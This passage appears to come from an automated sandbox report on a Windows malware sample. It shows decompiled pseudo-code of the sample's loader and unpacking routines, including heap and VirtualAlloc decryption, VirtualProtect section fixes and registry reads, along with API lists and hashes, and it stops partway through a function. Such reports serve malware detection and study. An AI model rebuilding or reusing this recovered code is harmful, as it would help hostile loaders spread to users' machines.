0x026723ef
0x026723c0
0x026722fe
0x026722fe
0x02672303
0x02672419
0x0267241d
0x02672425
0x02672425
0x00000000
0x0267241d
0x02672309
0x0267230c
0x02672316
0x0267231d
0x00000000
0x0267242d
0x0267242d
0x02672431
0x02672435
0x02672435

APIs

Part of subcall function 0267550E: GetModuleHandleA.KERNEL32(4C44544E,00000000,02672274,00000000,00000000), ref: 0267551D

CloseHandle.KERNEL32(?,?,?,4D283A53,?,?), ref: 026722F1

Part of subcall function 02672049: RtlAllocateHeap.NTDLL(00000000,00000000,02677E50), ref: 02672055

memset.NTDLL ref: 02672340
RtlInitializeCriticalSection.NTDLL(032F9570), ref: 02672351

Part of subcall function 02673DD9: memset.NTDLL ref: 02673DEE
Part of subcall function 02673DD9: lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 02673E22
Part of subcall function 02673DD9: StrCmpNIW.KERNELBASE(00000000,00000000,00000000), ref: 02673E2D

RtlAllocateHeap.NTDLL(00000000,00000043,00000060), ref: 0267237C
wsprintfA.USER32 ref: 026723AC

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHandleHeapmemset$CloseCriticalInitializeModuleSectionlstrlenwsprintf
String ID:
API String ID: 4246211962-0
Opcode ID: 6593ad69c27765db9dfaf26e2b08c800cbf05bb1c3e1e4b36949c10f39c7d7da
Instruction ID: 4348bcc4600c2cab31d9e41abc80fac706ec8270f910121fcaf8bdb62c19634b
Opcode Fuzzy Hash: 6593ad69c27765db9dfaf26e2b08c800cbf05bb1c3e1e4b36949c10f39c7d7da
Instruction Fuzzy Hash: BC51E571E50215ABDB24DBA4FCA4B6E37A9AF04714F004C6AEA11D7240E770D999CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02673AEF, Relevance: 6.1, APIs: 4, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(80000002), ref: 02673B46
SysAllocString.OLEAUT32(02671885), ref: 02673B89
SysFreeString.OLEAUT32(00000000), ref: 02673B9D
SysFreeString.OLEAUT32(00000000), ref: 02673BAB

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 4e07a281058b4d2603def35294132f04197aa2ddbbd2c1535cc4589f7a422c9f
Instruction ID: 06680cc0d3b5e9e19ee8c1baea59bd5366398a799e9f1437951d2fee369cc6d1
Opcode Fuzzy Hash: 4e07a281058b4d2603def35294132f04197aa2ddbbd2c1535cc4589f7a422c9f
Instruction Fuzzy Hash: 0D3150B1900109EFCB05DFA8E4C48AE7BB5FF58354B10846EF50AA7310D7359699DF61

Uniqueness

Uniqueness Score: -1.00%

Function 100018F4, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 96
memoryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E100018F4(void* __edi, intOrPtr _a4) {
				intOrPtr _v8;
				unsigned int _v12;
				intOrPtr _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v36;
				signed int _v44;
				signed int _v48;
				intOrPtr _t39;
				void* _t46;
				intOrPtr _t47;
				intOrPtr _t50;
				signed int _t59;
				signed int _t61;
				intOrPtr _t66;
				intOrPtr _t77;
				void* _t78;
				signed int _t80;

				_t77 =  *0x10004130;
				_t39 = E10001F5D(_t77,  &_v20,  &_v12);
				_v16 = _t39;
				if(_t39 == 0) {
					asm("sbb ebx, ebx");
					_t59 =  ~( ~(_v12 & 0x00000fff)) + (_v12 >> 0xc);
					_t78 = _t77 + _v20;
					_v36 = _t78;
					_t46 = VirtualAlloc(0, _t59 << 0xc, 0x3000, 4); // executed
					_v24 = _t46;
					if(_t46 == 0) {
						_v16 = 8;
					} else {
						_t61 = 0;
						if(_t59 <= 0) {
							_t47 =  *0x1000414c;
						} else {
							_t66 = _a4;
							_t50 = _t46 - _t78;
							_t11 = _t66 + 0x100051a7; // 0x100051a7
							_v28 = _t50;
							_v32 = _t50 + _t11;
							_v8 = _t78;
							while(1) {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t19 = _t61 + 1; // 0x2
								_t80 = _t19;
								E100018C4(_v8 + _t50, _v8, (_v48 ^ _v44) + _v20 + _a4 >> _t80);
								_t64 = _v32;
								_v8 = _v8 + 0x1000;
								_t47 =  *((intOrPtr*)(_v32 + 0xc)) -  *((intOrPtr*)(_t64 + 8)) +  *((intOrPtr*)(_t64 + 4));
								_t61 = _t80;
								 *0x1000414c = _t47;
								if(_t61 >= _t59) {
									break;
								}
								_t50 = _v28;
							}
						}
						if(_t47 != 0x63699bc3) {
							_v16 = 0xc;
						} else {
							memcpy(_v36, _v24, _v12);
						}
						VirtualFree(_v24, 0, 0x8000); // executed
					}
				}
				return _v16;
			}

0x100018fb
0x1000190b
0x10001912
0x10001915
0x1000192a
0x10001931
0x10001936
0x10001947
0x1000194a
0x10001952
0x10001955
0x100019ff
0x1000195b
0x1000195b
0x1000195f
0x100019c7
0x10001961
0x10001961
0x10001964
0x10001966
0x1000196e
0x10001971
0x10001974
0x1000197c
0x10001984
0x10001985
0x10001986
0x1000198d
0x1000198d
0x100019a1
0x100019a6
0x100019af
0x100019b6
0x100019b9
0x100019bd
0x100019c2
0x00000000
0x00000000
0x10001979
0x10001979
0x100019c4
0x100019d1
0x100019e6
0x100019d3
0x100019dc
0x100019e1
0x100019f7
0x100019f7
0x10001a06
0x10001a0c

APIs

VirtualAlloc.KERNELBASE(00000000,1000167D,00003000,00000004,?,?,1000167D,00000000), ref: 1000194A
memcpy.NTDLL(?,?,1000167D,?,?,1000167D,00000000), ref: 100019DC
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,1000167D,00000000), ref: 100019F7

Strings

Mar 9 2021, xrefs: 1000197C

Memory Dump Source

Source File: 00000000.00000002.496130381.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.496109491.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496159830.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: Virtual$AllocFreememcpy
String ID: Mar 9 2021
API String ID: 4010158826-2159264323
Opcode ID: a02594a73b1b769850a39e6d0cf862abb4b58f68e535dbed4b7f3a649922de48
Instruction ID: d25fb31f2c2add74eafa799964551cc2416acfdb7abcc9e218ddf36d438f9e1f
Opcode Fuzzy Hash: a02594a73b1b769850a39e6d0cf862abb4b58f68e535dbed4b7f3a649922de48
Instruction Fuzzy Hash: 4D315271E0111A9FEB01CF99C891ADEBBF5EF48384F108169E904A7259D771AA45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02671A70, Relevance: 6.1, APIs: 4, Instructions: 76
sleepstringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E02671A70(intOrPtr* __eax, void** _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _t26;
				intOrPtr* _t28;
				intOrPtr _t31;
				intOrPtr* _t32;
				void* _t39;
				int _t46;
				intOrPtr* _t47;
				int _t48;

				_t47 = __eax;
				_push( &_v12);
				_push(__eax);
				_t39 = 0;
				_t46 = 0; // executed
				_t26 =  *((intOrPtr*)( *__eax + 0x24))();
				_v8 = _t26;
				if(_t26 < 0) {
					L13:
					return _v8;
				}
				if(_v12 == 0) {
					Sleep(0xc8);
					_v8 =  *((intOrPtr*)( *_t47 + 0x24))(_t47,  &_v12);
				}
				if(_v8 >= _t39) {
					_t28 = _v12;
					if(_t28 != 0) {
						_t31 =  *((intOrPtr*)( *_t28 + 0x100))(_t28,  &_v16);
						_v8 = _t31;
						if(_t31 >= 0) {
							_t46 = lstrlenW(_v16);
							if(_t46 != 0) {
								_t46 = _t46 + 1;
								_t48 = _t46 + _t46;
								_t39 = E02672049(_t48);
								if(_t39 == 0) {
									_v8 = 0x8007000e;
								} else {
									memcpy(_t39, _v16, _t48);
								}
								__imp__#6(_v16); // executed
							}
						}
						_t32 = _v12;
						 *((intOrPtr*)( *_t32 + 8))(_t32);
					}
					 *_a4 = _t39;
					 *_a8 = _t46 + _t46;
				}
				goto L13;
			}

0x02671a7c
0x02671a80
0x02671a81
0x02671a82
0x02671a84
0x02671a86
0x02671a8b
0x02671a8e
0x02671b25
0x02671b2c
0x02671b2c
0x02671a97
0x02671a9e
0x02671aae
0x02671aae
0x02671ab4
0x02671ab6
0x02671abb
0x02671ac4
0x02671acc
0x02671acf
0x02671ada
0x02671ade
0x02671ae0
0x02671ae1
0x02671aea
0x02671aee
0x02671aff
0x02671af0
0x02671af5
0x02671afa
0x02671b09
0x02671b09
0x02671ade
0x02671b0f
0x02671b15
0x02671b15
0x02671b1e
0x02671b23
0x02671b23
0x00000000

APIs

Sleep.KERNEL32(000000C8), ref: 02671A9E
lstrlenW.KERNEL32(?), ref: 02671AD4
memcpy.NTDLL(00000000,?,?,?), ref: 02671AF5
SysFreeString.OLEAUT32(?), ref: 02671B09

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeSleepStringlstrlenmemcpy
String ID:
API String ID: 1198164300-0
Opcode ID: d084ef559ab7eacf7abb72422683acb4d4441b5e94118555c972632d6a25ad5d
Instruction ID: 63716eb0660b3a823d71ebc039ccd708086ce8b0e88f9e1cb923841d0134e2f5
Opcode Fuzzy Hash: d084ef559ab7eacf7abb72422683acb4d4441b5e94118555c972632d6a25ad5d
Instruction Fuzzy Hash: 66213075A00209EFCB10DFA8E98499EBBB9FF49715B1041AAE909E7210E731DA45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 026794A9, Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E026794A9(char* __eax) {
				char* _t8;
				intOrPtr _t12;
				char* _t21;
				signed int _t23;
				char* _t24;
				signed int _t26;
				void* _t27;

				_t21 = __eax;
				_push(0x20);
				_t23 = 1;
				_push(__eax);
				while(1) {
					_t8 = StrChrA();
					if(_t8 == 0) {
						break;
					}
					_t23 = _t23 + 1;
					_push(0x20);
					_push( &(_t8[1]));
				}
				_t12 = E02672049(_t23 << 2);
				 *((intOrPtr*)(_t27 + 0x10)) = _t12;
				if(_t12 != 0) {
					StrTrimA(_t21, 0x267c2a4); // executed
					_t26 = 0;
					do {
						_t24 = StrChrA(_t21, 0x20);
						if(_t24 != 0) {
							 *_t24 = 0;
							_t24 =  &(_t24[1]);
							StrTrimA(_t24, 0x267c2a4);
						}
						 *( *((intOrPtr*)(_t27 + 0x10)) + _t26 * 4) = _t21;
						_t26 = _t26 + 1;
						_t21 = _t24;
					} while (_t24 != 0);
					 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x18)))) =  *((intOrPtr*)(_t27 + 0x10));
				}
				return 0;
			}

0x026794b4
0x026794b8
0x026794ba
0x026794bb
0x026794c3
0x026794c3
0x026794c7
0x00000000
0x00000000
0x026794be
0x026794bf
0x026794c2
0x026794c2
0x026794cf
0x026794d6
0x026794da
0x026794e2
0x026794e8
0x026794ea
0x026794ef
0x026794f3
0x026794f5
0x026794f8
0x026794ff
0x026794ff
0x02679509
0x0267950c
0x0267950f
0x0267950f
0x0267951b
0x0267951b
0x02679528

APIs

StrChrA.SHLWAPI(?,00000020,00000000,032F95AC,?,026723DE,?,02677634,032F95AC,?,026723DE), ref: 026794C3
StrTrimA.KERNELBASE(?,0267C2A4,00000002,?,026723DE,?,02677634,032F95AC,?,026723DE), ref: 026794E2
StrChrA.SHLWAPI(?,00000020,?,026723DE,?,02677634,032F95AC,?,026723DE), ref: 026794ED
StrTrimA.SHLWAPI(00000001,0267C2A4,?,026723DE,?,02677634,032F95AC,?,026723DE), ref: 026794FF

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: Trim
String ID:
API String ID: 3043112668-0
Opcode ID: 12f8186754ba29a465b9e202cde8b0f72d8d3d0c16010ad9fb812125c5e8193b
Instruction ID: 3a553062a98c1d034a7bcf3292545ddb29c7d17c3025106af4fc3ac72f6d79b3
Opcode Fuzzy Hash: 12f8186754ba29a465b9e202cde8b0f72d8d3d0c16010ad9fb812125c5e8193b
Instruction Fuzzy Hash: 5301B5716463215FE330DE69AC49F2B7BD8EF9AB94F111929F951C7340DB60C80186A0

Uniqueness

Uniqueness Score: -1.00%

Function 1000111A, Relevance: 6.0, APIs: 4, Instructions: 30
threadCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E1000111A(void* __ecx, char _a4) {
				long _t3;
				int _t4;
				int _t9;
				void* _t13;

				_t13 = GetCurrentThread();
				_t3 = SetThreadAffinityMask(_t13, 1); // executed
				if(_t3 != 0) {
					SetThreadPriority(_t13, 0xffffffff); // executed
				}
				_t4 = E1000163F(_a4); // executed
				_t9 = _t4;
				if(_t9 == 0) {
					SetThreadPriority(_t13, _t4);
				}
				asm("lock xadd [eax], ecx");
				return _t9;
			}

0x10001123
0x10001128
0x10001136
0x1000113b
0x1000113b
0x10001141
0x10001146
0x1000114a
0x1000114e
0x1000114e
0x10001158
0x10001161

APIs

GetCurrentThread.KERNEL32 ref: 1000111D
SetThreadAffinityMask.KERNEL32(00000000,00000001), ref: 10001128
SetThreadPriority.KERNELBASE(00000000,000000FF), ref: 1000113B
SetThreadPriority.KERNEL32(00000000,00000000,?), ref: 1000114E

Memory Dump Source

Source File: 00000000.00000002.496130381.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.496109491.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496159830.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: Thread$Priority$AffinityCurrentMask
String ID:
API String ID: 1452675757-0
Opcode ID: c35cabef654aae5fe09134992651e52fd0a70a53666a0e792eef5a60e0c71ab1
Instruction ID: 4c0cec3966cfd65f316416e497d44ff5eb1b0779e4299dd3e4543c5f6ab01fef
Opcode Fuzzy Hash: c35cabef654aae5fe09134992651e52fd0a70a53666a0e792eef5a60e0c71ab1
Instruction Fuzzy Hash: 91E092712066216BF302AB294C85EEB679DDF953F0B028225F620D22E8CF659D0286A5

Uniqueness

Uniqueness Score: -1.00%

Function 026773FD, Relevance: 4.6, APIs: 3, Instructions: 94
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E026773FD(void* __edx) {
				void* _v8;
				int _v12;
				WCHAR* _v16;
				void* __esi;
				void* _t23;
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t38;
				intOrPtr _t42;
				void* _t45;
				void* _t50;
				void* _t55;

				_t50 = __edx;
				_v12 = 0;
				_t23 = E0267A72D(0,  &_v8); // executed
				if(_t23 != 0) {
					_v8 = 0;
				}
				_t24 =  *0x267d27c; // 0xc7a5a8
				_t4 = _t24 + 0x267ede0; // 0x32f9388
				_t5 = _t24 + 0x267ed88; // 0x4f0053
				_t26 = E02671262( &_v16, _v8, _t5, _t4); // executed
				_t45 = _t26;
				if(_t45 == 0) {
					StrToIntExW(_v16, 0,  &_v12);
					_t45 = 8;
					if(_v12 < _t45) {
						_t45 = 1;
						__eflags = 1;
					} else {
						_t32 =  *0x267d27c; // 0xc7a5a8
						_t11 = _t32 + 0x267edd4; // 0x32f937c
						_t48 = _t11;
						_t12 = _t32 + 0x267ed88; // 0x4f0053
						_t55 = E02677CB8(_t11, _t12, _t11);
						_t59 = _t55;
						if(_t55 != 0) {
							_t35 =  *0x267d27c; // 0xc7a5a8
							_t13 = _t35 + 0x267ee1e; // 0x30314549
							if(E026789D6(_t48, _t50, _t59, _v8, _t55, _t13, 0x14) == 0) {
								_t61 =  *0x267d25c - 6;
								if( *0x267d25c <= 6) {
									_t42 =  *0x267d27c; // 0xc7a5a8
									_t15 = _t42 + 0x267ec2a; // 0x52384549
									E026789D6(_t48, _t50, _t61, _v8, _t55, _t15, 0x13);
								}
							}
							_t38 =  *0x267d27c; // 0xc7a5a8
							_t17 = _t38 + 0x267ee18; // 0x32f93c0
							_t18 = _t38 + 0x267edf0; // 0x680043
							_t45 = E02672659(_v8, 0x80000001, _t55, _t18, _t17);
							HeapFree( *0x267d238, 0, _t55);
						}
					}
					HeapFree( *0x267d238, 0, _v16);
				}
				_t54 = _v8;
				if(_v8 != 0) {
					E02671F99(_t54);
				}
				return _t45;
			}

0x026773fd
0x0267740d
0x02677410
0x02677417
0x02677419
0x02677419
0x0267741c
0x02677421
0x02677428
0x02677435
0x0267743a
0x0267743e
0x0267744c
0x0267745a
0x0267745e
0x026774ef
0x026774ef
0x02677464
0x02677464
0x02677469
0x02677469
0x02677470
0x0267747c
0x0267747e
0x02677480
0x02677482
0x02677489
0x0267749b
0x0267749d
0x026774a4
0x026774a6
0x026774ad
0x026774b8
0x026774b8
0x026774a4
0x026774bd
0x026774c2
0x026774c9
0x026774e7
0x026774e9
0x026774e9
0x02677480
0x026774fb
0x026774fb
0x026774fd
0x02677502
0x02677504
0x02677504
0x0267750f

APIs

StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,032F9388,00000000,?,76D7F710,00000000,76D7F730), ref: 0267744C
HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,032F93C0,?,00000000,30314549,00000014,004F0053,032F937C), ref: 026774E9
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,02676814), ref: 026774FB

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 24eed6493f56ef57cbc2672a8079eb846b694b9d11c0654910914b2e217f8128
Instruction ID: 32beccc0fbdeade30c0d5f371d6e6d389184d9914f075381f616c1e92bb799bf
Opcode Fuzzy Hash: 24eed6493f56ef57cbc2672a8079eb846b694b9d11c0654910914b2e217f8128
Instruction Fuzzy Hash: 31319E72D01108BFDB22DBA4FC84E9EBBBDEF44314F1504A6A610A7260D7719E99DF60

Uniqueness

Uniqueness Score: -1.00%

Function 02678504, Relevance: 4.6, APIs: 3, Instructions: 76
memoryCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E02678504(void* __ecx, char _a4, void** _a8, intOrPtr* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				void* _v8;
				void* __edi;
				intOrPtr _t18;
				void* _t24;
				void* _t30;
				void* _t37;
				void* _t40;
				intOrPtr _t42;

				_t32 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t42 =  *0x267d340; // 0x32f9928
				_push(0x800);
				_push(0);
				_push( *0x267d238);
				if( *0x267d24c >= 5) {
					if(RtlAllocateHeap() == 0) {
						L6:
						_t30 = 8;
						L7:
						if(_t30 != 0) {
							L10:
							 *0x267d24c =  *0x267d24c + 1;
							L11:
							return _t30;
						}
						_t44 = _a4;
						_t40 = _v8;
						 *_a16 = _a4;
						 *_a20 = E02672496(_t44, _t40);
						_t18 = E0267A66E(_t37, _t40, _t44);
						if(_t18 != 0) {
							 *_a8 = _t40;
							 *_a12 = _t18;
							if( *0x267d24c < 5) {
								 *0x267d24c =  *0x267d24c & 0x00000000;
							}
							goto L11;
						}
						_t30 = 0xbf;
						E0267A1B0();
						RtlFreeHeap( *0x267d238, 0, _t40); // executed
						goto L10;
					}
					_t24 = E0267A279(_a4, _t32, _t37, _t42,  &_v8,  &_a4, _t13);
					L5:
					_t30 = _t24;
					goto L7;
				}
				if(RtlAllocateHeap() == 0) {
					goto L6;
				}
				_t24 = E02678B94(_a4, _t32, _t37, _t42,  &_v8,  &_a4, _t25); // executed
				goto L5;
			}

0x02678504
0x02678507
0x02678508
0x02678512
0x02678519
0x0267851e
0x02678520
0x02678526
0x0267854e
0x02678566
0x02678568
0x02678569
0x0267856b
0x026785a9
0x026785a9
0x026785af
0x026785b5
0x026785b5
0x0267856d
0x02678573
0x02678576
0x02678585
0x02678587
0x0267858e
0x026785c2
0x026785c7
0x026785c9
0x026785cb
0x026785cb
0x00000000
0x026785c9
0x02678590
0x02678595
0x026785a3
0x00000000
0x026785a3
0x0267855d
0x02678562
0x02678562
0x00000000
0x02678562
0x02678530
0x00000000
0x00000000
0x0267853f
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,00000800,76D7F710), ref: 02678528

Part of subcall function 02678B94: GetTickCount.KERNEL32 ref: 02678BA8
Part of subcall function 02678B94: wsprintfA.USER32 ref: 02678BF8
Part of subcall function 02678B94: wsprintfA.USER32 ref: 02678C15
Part of subcall function 02678B94: wsprintfA.USER32 ref: 02678C41
Part of subcall function 02678B94: HeapFree.KERNEL32(00000000,?), ref: 02678C53
Part of subcall function 02678B94: wsprintfA.USER32 ref: 02678C74
Part of subcall function 02678B94: HeapFree.KERNEL32(00000000,?), ref: 02678C84
Part of subcall function 02678B94: RtlAllocateHeap.NTDLL(00000000,00000800), ref: 02678CB2
Part of subcall function 02678B94: GetTickCount.KERNEL32 ref: 02678CC3

RtlAllocateHeap.NTDLL(00000000,00000800,76D7F710), ref: 02678546
RtlFreeHeap.NTDLL(00000000,00000002,0267685F,?,0267685F,00000002,?,?,02672417,?), ref: 026785A3

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$wsprintf$AllocateFree$CountTick
String ID:
API String ID: 1676223858-0
Opcode ID: 87f23d3325a7ed22969d74eeb0291bf6117cfd878dc62938e95d70b96920cac0
Instruction ID: 907139b06851550d859d3029ccce8acd4a4d2f675fae4199fd982d416731ede5
Opcode Fuzzy Hash: 87f23d3325a7ed22969d74eeb0291bf6117cfd878dc62938e95d70b96920cac0
Instruction Fuzzy Hash: C4216D75640204EBEB459F94F888E9E37ADEF48740F10082AFA01DB250EB70DD95DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 10001179, Relevance: 4.6, APIs: 3, Instructions: 68
memoryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E10001179(void* __eax, void* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				int _t43;
				long _t54;
				signed int _t57;
				void* _t58;
				signed int _t60;

				_v12 = _v12 & 0x00000000;
				_t57 =  *0x1000414c;
				_t58 = ( *(__eax + 0x14) & 0x0000ffff) + __eax + 0x18;
				_v16 =  *(__eax + 6) & 0x0000ffff;
				VirtualProtect(_a4,  *(__eax + 0x54), _t57 - 0x63699bbf,  &_v20); // executed
				_v8 = _v8 & 0x00000000;
				if(_v16 <= 0) {
					L12:
					return _v12;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t60 = _v12;
					if(_t60 != 0) {
						goto L12;
					}
					asm("bt [esi+0x24], eax");
					if(_t60 >= 0) {
						asm("bt [esi+0x24], eax");
						if(__eflags >= 0) {
							L8:
							_t54 = _t57 - 0x63699bbf;
							L9:
							_t43 = VirtualProtect( *((intOrPtr*)(_t58 + 0xc)) + _a4,  *(_t58 + 8), _t54,  &_v20); // executed
							if(_t43 == 0) {
								_v12 = GetLastError();
							}
							_v8 = _v8 + 1;
							_t58 = _t58 + 0x777fa9b0 + _t57 * 0x28;
							if(_v8 < _v16) {
								continue;
							} else {
								goto L12;
							}
						}
						asm("bt [esi+0x24], eax");
						_t54 = _t57 - 0x63699bc1;
						if(__eflags >= 0) {
							goto L9;
						}
						goto L8;
					}
					asm("bt [esi+0x24], eax");
					if(_t60 >= 0) {
						_t54 = _t57 - 0x63699ba3;
					} else {
						_t54 = _t57 - 0x63699b83;
					}
					goto L9;
				}
				goto L12;
			}

0x10001183
0x10001190
0x10001196
0x100011a2
0x100011b2
0x100011b4
0x100011bc
0x10001251
0x10001258
0x00000000
0x00000000
0x00000000
0x100011c2
0x100011c2
0x100011c2
0x100011c6
0x00000000
0x00000000
0x100011d2
0x100011d6
0x100011fa
0x100011fe
0x10001212
0x10001212
0x10001218
0x10001227
0x1000122b
0x10001233
0x10001233
0x1000123b
0x1000123e
0x1000124b
0x00000000
0x00000000
0x00000000
0x00000000
0x1000124b
0x10001206
0x1000120a
0x10001210
0x00000000
0x00000000
0x00000000
0x10001210
0x100011de
0x100011e2
0x100011ec
0x100011e4
0x100011e4
0x100011e4
0x00000000
0x100011e2
0x00000000

APIs

VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 100011B2
VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 10001227
GetLastError.KERNEL32 ref: 1000122D

Memory Dump Source

Source File: 00000000.00000002.496130381.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.496109491.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496159830.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: ProtectVirtual$ErrorLast
String ID:
API String ID: 1469625949-0
Opcode ID: 4c066baaf28f8eb37efe3bcb5d7151aded5e51c0cb14aa7ceb28c1f7bbe160c8
Instruction ID: 0668daed04cbb7b664abe494ebfe9c2342c365f2a22d128ebf7293798eb97d5e
Opcode Fuzzy Hash: 4c066baaf28f8eb37efe3bcb5d7151aded5e51c0cb14aa7ceb28c1f7bbe160c8
Instruction Fuzzy Hash: A2217F31801206EFDB04DF95C885AEAF7F5FF44399F018859D50297458E3B8A6A5CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02673DD9, Relevance: 3.9, APIs: 3, Instructions: 155
stringCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E02673DD9(void* __eflags, int _a4) {
				intOrPtr _v12;
				WCHAR* _v16;
				char* _v20;
				int _v24;
				void* _v36;
				char _v40;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				void _v84;
				char _v88;
				void* __ebx;
				void* __esi;
				intOrPtr _t40;
				int _t45;
				intOrPtr _t50;
				intOrPtr _t52;
				void* _t55;
				intOrPtr _t67;
				void* _t70;
				void* _t80;
				WCHAR* _t85;

				_v88 = 0;
				memset( &_v84, 0, 0x2c);
				_v40 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t40 =  *0x267d27c; // 0xc7a5a8
				_t5 = _t40 + 0x267ee40; // 0x410025
				_t85 = E02676A12(_t5);
				_v16 = _t85;
				if(_t85 == 0) {
					_t80 = 8;
					L24:
					return _t80;
				}
				_t45 = StrCmpNIW(_t85, _a4, lstrlenW(_t85)); // executed
				if(_t45 != 0) {
					_t80 = 1;
					L22:
					E02679039(_v16);
					goto L24;
				}
				if(E0267A72D(0,  &_a4) != 0) {
					_a4 = 0;
				}
				_t50 = E0267809F(0,  *0x267d33c);
				_v12 = _t50;
				if(_t50 == 0) {
					_t80 = 8;
					goto L19;
				} else {
					_t52 =  *0x267d27c; // 0xc7a5a8
					_t11 = _t52 + 0x267e81a; // 0x65696c43
					_t55 = E0267809F(0, _t11);
					_t87 = _t55;
					if(_t55 == 0) {
						_t80 = 8;
					} else {
						_t80 = E02676BFA(_a4, 0x80000001, _v12, _t87,  &_v88,  &_v84);
						E02679039(_t87);
					}
					if(_t80 != 0) {
						L17:
						E02679039(_v12);
						L19:
						_t86 = _a4;
						if(_a4 != 0) {
							E02671F99(_t86);
						}
						goto L22;
					} else {
						if(( *0x267d260 & 0x00000001) == 0) {
							L14:
							E02678F83(_t80, _v88, _v84,  *0x267d270, 0);
							_t80 = E02671C74(_v88,  &_v80,  &_v76, 0);
							if(_t80 == 0) {
								_v24 = _a4;
								_v20 =  &_v88;
								_t80 = E026742EA( &_v40, 0);
							}
							E02679039(_v88);
							goto L17;
						}
						_t67 =  *0x267d27c; // 0xc7a5a8
						_t18 = _t67 + 0x267e823; // 0x65696c43
